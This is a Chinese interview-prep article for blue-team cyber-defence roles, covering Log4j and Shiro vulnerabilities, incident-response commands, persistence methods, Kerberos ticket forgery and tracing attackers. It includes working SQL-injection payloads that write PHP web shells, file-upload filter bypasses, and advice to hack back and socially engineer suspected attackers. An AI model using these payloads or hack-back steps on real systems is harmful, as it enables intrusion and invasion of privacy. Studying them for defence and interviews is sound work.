面试分享 | 护网蓝队面试经验

关于蓝队面试经验

1.自我介绍能力

重要性
为什么将自我介绍能力放在第一位,实际上自我介绍才是面试中最重要的一点,因为护网面试并没有确定的题目,让面试官去提问
更多是的和面试官的一种 “交谈” ,面试的难易程度也自然就取决于你如何去和面试官 “聊天”。所以我认为自我介绍能力是面试能
力的首要位置
一些小建议
1.在面试前最好写个自我介绍,并且可以将他熟练的记下来,在面试开始前跟面试官请求先进行一个自我介绍,自我介绍的内容尽量突出
你的专业性,将你最有把我的信息展现出来,让面试官更能体会你的水平。

2.如果是学生,自我介绍的时候尽量避开年龄,当别人问了才回答,不问尽量别说

3.突出项目经历,尽可能详细的说出项目经历,越详细越能体现出你的经验。

2.一些我面试时候出现的比较多的问题

java log4j反序列化漏洞:
Log4j反序列化漏洞(CVE-2019-17571)
是由于Apache Log4j 1.x中存在的错误而导致的安全漏洞。这个漏洞仅影响已经过时的Log4j 1.x版本,不影响Log4j 2.x版本。
这个漏洞源于org.apache.log4j.net.SocketServer类中的handleRequest方法,在处理接收到的日志事件对象时没有正确地限制反序列化过程。
当攻击者向这个类发送恶意构造的序列化数据时,可能触发远程代码执行,从而导致严重的安全问题。
log4j2漏洞
Log4j2漏洞
这个漏洞不是由反序列化引起的,而是由于 Log4j2 的 JNDI 功能中的错误处理导致的。攻击者可以通过精心构造的日志消息触发 Log4j2 中的 JndiLookup 类来执行任意代码,从而导致远程代码执行。
sql注入写入shell的方法(http://example.com/view.php?id='123'为例子):
1.通过union联合查询进行shell写入:
123' union select 1,"<?php @eval($_GET['qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqcmd'])?>" into outfile "绝对路径" --+
2.通过分隔符进行shell写入(union查询无法使用时候,多用于盲注):
123' into outfile "E:\phpStudy\PHPTutorial\WWW\DVWA-master\321.php" line terminated by "<?php <span class="label label-primary">@eval($_GET['cmd'])?</span>&gt;" --+

原理解释:
这会创建一个名为 321.php 的文件,并将其存储在服务器上的 E:\phpStudy\PHPTutorial\WWW\DVWA-master 目录下。这个文件包含 <?php <span class="label label-primary">@eval($_GET[‘cmd’])?</span>> 代码(因为LINES TERMINATED BY “<?php <span class="label label-primary">@eval($_GET[‘cmd’])?</span>>” 这句话将 <?php <span class="label label-primary">@eval($_GET[‘cmd’])?</span>>作为行终止符。我们使用into outfile会创建一个321.php 的文件,但是无法使用union查询,所以无法写入向321.php 的文件,所以这个321.php 文件就只有一个开始符和终止符,我们使用LINES TERMINATED BY “<?php <span class="label label-primary">@eval($_GET[‘cmd’])?</span>>”,就可以将终止符设置为<?php <span class="label label-primary">@eval($_GET[‘cmd’])?</span>>),当访问该文件时,它将显示服务器的 PHP 配置信息。

相同的道理还可以使用:

?id=1 INTO OUTFILE '物理路径' lines terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' fields terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' columns terminated by (<?php eval($_POST[cmd])?>)#

?id=1 INTO OUTFILE '物理路径' lines starting by (<?php eval($_POST[cmd])?>)#

这四个注入语句
3.通过log写入shell

原理解释:
开启mysql的log功能,并且把log功能设置为一个可访问的php文件路径A,然后执行一个带有php命令的sql语句,该语句会被log记录,然后关闭log功能,访问PHP路径A,由于关闭了log功能,php文件正常会被当成php执行,刚刚开启log时候,由于记录了带有php代码是sql语句,所以php文件A带有了php命令,访问php文件A即可。

命令:
show variables like ‘%general%’; #查看配置

set global general_log = on;                         #开启general log模式

set global general_log_file = '网站目录/shell.php';   #设置日志目录为shell地址

select '<?php eval($_POST[shell]);?>'                #写入shell

set global general_log=off;                          #关闭general log模式
3.java内存马查杀

Java 内存马是一种通过将恶意代码加载到 Java 运行时环境(JRE)的内存中来执行攻击的木马。手动查杀 Java 内存马需要关注异常行为和可疑进程。这里有一些建议供您参考:

  1. 寻找异常进程

    • 使用任务管理器(Windows)或 top/ps 命令(Linux)查看当前运行的所有进程。

    • 查找异常的 Java 进程,如 CPU 占用率过高、内存占用率不正常等。

  2. 分析 Java 堆栈

    • 对可疑的 Java 进程执行 jstack 命令以获取线程堆栈信息:jstack [pid] &gt; stack.txt

    • 仔细查看堆栈信息,寻找不寻常的类、方法或代码段。

  3. 检查 Java 类加载器

    • 使用 jmap 命令列出 Java 进程中的所有类加载器:jmap -clstats [pid]

    • 查找非标准的类加载器,例如不属于 Java 系统类加载器的自定义类加载器。

  4. 审查 Java 虚拟机参数

    • 检查 Java 虚拟机的启动参数,使用 jinfo 命令:jinfo -flags [pid]

    • 确保不存在可疑的启动参数,如 -javaagent 或 -Xbootclasspath 等。

  5. 监控网络连接

    • 使用 netstat(Windows)或 lsof(Linux)命令查看当前的网络连接。

    • 关注未知或异常的远程连接,特别是与可疑的 Java 进程相关的连接。

4.应急的时候常看的Windows目录
hosts文件所在位置:C:\Windows\System32\drivers\etc\hosts
日记所在位置 计算机管理 --》事件查看器 --》 windows日志
定时任务查看 --- schtasks
启动项查看 ---msconfig --》启动
5.应急时候常使用的Windows命令:
进程查看 ---tasklist
网络连接情况 ---netstat -ano
端口情况 --netstat
执行的服务查看 ---Services.msc
6.应急的时候常看的Linux目录:
环境变量所在位置:etc/environment
host文件所在位置 ---etc/hosts
日志所在位置  --- var/log
定时任务所在位置 --- etc/crontab
定时任务命令:列出定时任务:crontab -l ;编辑定时任务:crontab -e
启动项所在位置 ---etc/rc[0-6].d 这个表示的是不同运行级别(runlevel)执行的启动项命令不一样, 例如runlevel6表示的是重启,重启就会执行etc/rc6.d里面的任务
7.应急的时候常看Linux命令:
进程查看  ---   ps -aux
网络连接查看  --- netstat -s
端口查看 --- netstat -antp
服务查看 --- service
8.文件上传漏洞绕过思路

1.黑名单

a.后缀名不完整 .php5 .phtml等
b.上传.htacess
c.大小写
d.在数据包中 后文件缀名前加空格
e.后缀名前加.
f.加上::$DATA
g.未循环验证,可以使用x.php..类似的方法

2.白名单(一般需要配合其他漏洞一起利用)

a.%00截断
b.图片马
c.条件竞争
9.白银票据与黄金票据的原理
金票:
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client
一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,
krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造
TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,
就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改

银票:
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的
第三步,Client 带着 ST 和Authenticator3 向 Server 上的某个服务进行请求,
Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得
Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证
成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的
Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用
10.window权限维持
1.替换系统文件类
(shift 后门,放大镜后门)

2.修改注册表类,
自启动项、屏幕保护程序注册表、用户登陆初始化、登录脚本、映像劫持、
影子账户、AppCertDlls 注册表项、AppInit_DLLs 注册表项、文件关联、用户登陆初始化、
xx.Netsh Helper DLL

3.文件类
自启动文件夹、office Word StartUp 劫持

4.计划任务
schtasks 、WMI、bitsadmin
11.linux权限维持
1.预加载型动态链接库后门
2.strace 后门
3.SSH 后门
4.SUID 后门
5.inetd 服务后门
6.协议后门
7.vim 后门
8.PAM 后门
9.进程注入
10.Rootkit
11.端口复用
12. 蓝队常用的反制手段有哪些?
a. 蜜罐
b. 对攻击目标进行反渗透(IP定位、IP端口扫描、Web站点渗透)
c. 应用漏洞挖掘&amp;利用(菜刀、Goby、Xray、蚁剑)
d. id -&gt; 社交特征关联
e. 钓鱼网站 -&gt; 后台扫描、XSS盲打
f. 木马文件 -&gt; 同源样本关联 -&gt; 敏感字符串特征检测
13.应急响应的目的
1.判断黑客是否成功入侵
2.如果成功入侵,阻断黑客的攻击(把网线)
3.提取攻击样本,分析黑客的进攻路径
4.找到漏洞所在,即时修复漏洞
14.常见端口20.21 ftp
22 ssh
80 apache,nginx,http,iis
443 https
1433 sql server
1521 oracle数据库
2375 docker
3306 mysql
3389 rdp
5000 DB2
5432 postgresql
6379 redis数据库
7001 weblogic
8080 tomact jboss
9090 websphere中间件
9200 Elasticsearch
27017 mongodb
50070 hadoop数据库
15.溯源具体思路:
1.获取到ip。将该ip放在威胁感知分析平台进行分析,如果该ip存在web,查询网站的备案号等看是否可疑获取到个人信息,或者对该ip的web进行测试,看是否有漏洞,对该web进行渗透,看是否可以控制红队的攻击机,在其机器上进行信息收集,看是否可以获取到其他信息。

2.获取到黑客的某些个人信息,例如电话号码。进行社工,可以在各种社交软件中查询,看能不能获取到更多的信息,将范围逐步缩小至个人。
16.SHIRO-550:
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值--&gt;Base64解码--&gt;AES解密--&gt;反序列化
AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞
17.SHIRO-721反序列化漏洞
不需要key,利用Padding Oracle Attack构造出RememberMe字段后段的值结合合法的
RememberMe cookie即可完成攻击
18.XXE是什么
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件
保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁

止对外部实体的解析。

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/122521.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

MySQL 8.0 Clone Plugin 详解

文章目录 前言1. 克隆插件安装2. 克隆插件的使用2.1 本地克隆2.2 远程克隆 3. 克隆任务监控4. 克隆插件实现4.1 Init 阶段4.2 File Copy4.3 Page Copy4.4 Redo Copy4.5 Done 5. 克隆插件的限制6. 克隆插件与 Xtrabackup 的异同7. 克隆插件相关参数 后记 前言 克隆插件&#xf…

JS点击图片指定对象变色两种方法

要求&#xff1a;点击上面的颜色实现下面的图像变成相同的颜色 难点&#xff1a;对于js函数的this对象不太清楚如何传递 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>changeColor</title>&l…

vite基础学习笔记:13.Dialog 对话框 (用户注册与登录)

说明&#xff1a;自学做的笔记和记录&#xff0c;如有错误请指正 1. Dialog 对话框组件 目标效果&#xff1a;点击“登录/注册”&#xff0c;弹框 &#xff08;1&#xff09;创建全局组件&#xff0c;在官网中查询代码粘贴 &#xff08;2&#xff09; 注册和使用全局组件 &a…

Zotero从安装到使用再到插件下载【适合小白,只看一篇就够!!!】

一、安装 1.安装Zotero 本人安装的是zotero6&#xff0c;全文是基于zotero6功能的介绍&#xff01; 下载地址&#xff1a;Zotero下载 选择 Custom&#xff0c;因为Standard是标准型会默认放置C盘&#xff0c;并且不能更改&#xff01; 选择自己的路径进行安装&#xff01;…

创建asp.net core mvc项目

一、安装vs2019 百度搜索【visual studio社区版下载】&#xff0c;进入微软官网 二、安装环境 运行vs2019,点击“工具”->“获取工具和功能” 三、打开vs2019 1.“文件”->“新建”->“项目”-> “ASP.Net Core Web 应用&#xff08;模型-视图-控制器&#xff09…

Python TCP服务端多线程接收RFID网络读卡器上传数据

本示例使用设备介绍&#xff1a;WIFI/TCP/UDP/HTTP协议RFID液显网络读卡器可二次开发语音播报POE-淘宝网 (taobao.com) #python通过缩进来表示代码块&#xff0c;不可以随意更改每行前面的空白&#xff0c;否则程序会运行错误&#xff01;&#xff01;&#xff01;如果缩进不…

Git->git简介,git的常用命令,git命令的常用理论

git简介git的常用命令git命令的常用理论 1.git简介 Git是什么&#xff1f; Git是一个开源的分布式&#xff0c;用于敏捷高效地处理任何或小或大的项目 Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。 Git 与常用的版本控制工具 CVSI…

2023-11 | 短视频批量下载/爬取某个用户的所有视频 | Python

这里以鞠婧祎的个人主页为demo https://www.douyin.com/user/MS4wLjABAAAACV5Em110SiusElwKlIpUd-MRSi8rBYyg0NfpPrqZmykHY8wLPQ8O4pv3wPL6A-oz 【2023-11-4 23:02:52 星期六】可能后面随着XX的调整, 方法不再适用, 请注意 找到接口 找到https://www.douyin.com/aweme/v1/web/…

蓝桥云课--1014 第 1 场算法双周赛

2-数树数【算法赛】&#xff08;找规律&#xff09; 一、题目要求 二、思路 由此可以推导出来&#xff0c;当s[i]L时&#xff0c;下一个编号当前编号*2-1&#xff1b;当s[i]R时&#xff0c;下一个编号当前编号*2&#xff1b; 三、代码 #include<bits/stdc.h> #define…

安卓三防手持终端 二维码扫描识别器 pda条码手持机

PDA条码手持机是一种快速的数据采集设备&#xff0c;具备多种数据采集功能并且可以进行二次开发&#xff0c;可以针对性的进行定制服务&#xff0c;满足各种业务需求。因其体积小&#xff0c;易操作、功能全、效率高深受物联网行业的青睐。 条码扫描是PDA重要的功能之一&#…

网络安全(黑客)小白自学

1.网络安全是什么 网络安全可以基于攻击和防御视角来分类&#xff0c;我们经常听到的 “红队”、“渗透测试” 等就是研究攻击技术&#xff0c;而“蓝队”、“安全运营”、“安全运维”则研究防御技术。 2.网络安全市场 一、是市场需求量高&#xff1b; 二、则是发展相对成熟…

C++|前言

c|前言 一、什么是C二、C发展史三、C的重要性3.1语言的使用广泛度3.2工作领域3.3校招领域 四、如何学习C4.1别人怎么学4.2自己怎么学 一、什么是C 在上回书已经学习了C语言&#xff0c;我们知道C语言是面向过程语言&#xff0c;C语言是结构化和模块化的语言&#xff0c;适合处理…

你觉得哪个软件写verilog体验最好?

最近在媒体上看到一个热点问题&#xff0c;浏览量高达680,003。“你觉得哪个软件写verilog体验最好&#xff1f;”这个问题可以说是IC设计师们最想知道的问题&#xff0c;也是大家工作交流中比较常见的。今天移知教育小编就来为大家分享一下&#xff0c;我对于这个问题的解答。…

登陆认证权限控制(2)—— 基于Spring security 安全框架的权限管理 注解式权限控制 RABC模型

前言 登陆认证&#xff0c;权限控制是一个系统必不可少的部分&#xff0c;一个开放访问的系统能否在上线后稳定持续运行其实很大程度上取决于登陆认证和权限控制措施是否到位&#xff0c;不然可能系统刚刚上线就会夭折。 Spring Security 是一个能够为基于 Spring 的企业应用…

学习Opencv(蝴蝶书/C++)相关——2.用clang++或g++命令行编译程序

文章目录 1. c/cpp程序的执行1.1 cpp程序的编译过程1.2 预处理指令1.3 编译过程的细节2. macOS下使用Clang看cpp程序的编译过程2.1 示例2.1.1 第一步 预处理器-preprocessor2.1.2 第二步 编译器-compiler2.1.3 第三步 汇编器-assembler2.1.4 第四步 链接器-linker2.1.5 链接其他…

【机器学习基础】机器学习概述

目录 前言 一、机器学习概念 二、机器学习分类 三、机器学习术语 &#x1f308;嗨&#xff01;我是Filotimo__&#x1f308;。很高兴与大家相识&#xff0c;希望我的博客能对你有所帮助。 &#x1f4a1;本文由Filotimo__✍️原创&#xff0c;首发于CSDN&#x1f4da;。 &#x…

【论文阅读】PSDF Fusion:用于动态 3D 数据融合和场景重建的概率符号距离函数

【论文阅读】PSDF Fusion&#xff1a;用于动态 3D 数据融合和场景重建的概率符号距离函数 Abstract1 Introduction3 Overview3.1 Hybrid Data Structure3.2 3D Representations3.3 Pipeline 4 PSDF Fusion and Surface Reconstruction4.1 PSDF Fusion4.2 Inlier Ratio Evaluati…

MCU平台使用SPI-DirectC实现FPGA在线升级

本文介绍在MCU平台上使用SPI-DirectC实现FPGA的在线升级功能。 对于使用Microchip FPGA若想使用离线方式对FPGA进行Bitstream的烧写,就不得不使用官方提供的DirectC组件(开源,包含JTAG-DirectC和SPI-DirectC),本文是在MCU(32bit)上实现的,采用的是SPI-DirectC组件。 …

分布式数据库·Hive和MySQL的安装与配置

一、版本要求&#xff1a;Hadoop:hadoop-2.10.1、MySQL&#xff1a;mysql-8.0.35、 HIVE&#xff1a;apache-hive-3.1.2、MySQL驱动&#xff1a;mysql-connector-java-5.1.49 安装包网盘链接&#xff1a;阿里云盘分享 安装位置 Hive:master、MySQL:slave1 二、卸载已安装的…

实现第三方app开机自启

添加 <category android:name"android.intent.category.LAUNCHER_APP" />